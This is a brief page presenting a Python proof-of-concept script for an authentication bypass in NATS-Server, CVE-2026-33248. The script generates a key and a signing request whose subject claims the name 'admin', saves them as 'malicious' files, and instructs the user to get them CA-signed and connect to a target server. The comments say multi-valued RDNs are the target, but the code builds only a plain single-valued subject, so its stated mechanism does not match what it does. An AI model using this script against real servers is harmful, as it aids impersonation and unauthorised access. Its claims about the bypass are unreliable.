CVE-2026-33248 NATS-Server认证绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-33248: NATS-Server Authentication Bypass This script demonstrates how to generate a CSR with a specific RDN pattern that might bypass the `verify_and_map` enforcement. Note: This requires a trusted CA to sign the CSR. """ from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import datetime def generate_malicious_csr(): # Generate private key key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) # Construct a Subject DN with specific RDN patterns # The exact pattern depends on the server configuration, # but complex multi-valued RDNs are the target. name = x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, u"admin"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"MyOrg"), x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, u"SpecialUnit"), ]) csr = x509.CertificateSigningRequestBuilder().subject_name(name).sign(key, hashes.SHA256()) print("[+] Generated CSR with specific RDN pattern.") print(csr.public_bytes(serialization.Encoding.PEM).decode()) # Save private key with open("malicious.key", "wb") as f: f.write(key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption() )) # Save CSR with open("malicious.csr", "wb") as f: f.write(csr.public_bytes(serialization.Encoding.PEM)) print("[+] Files saved. Submit 'malicious.csr' to your trusted CA for signing.") print("[!] Once signed, use the certificate to connect to the target NATS server.") if __name__ == "__main__": generate_malicious_csr()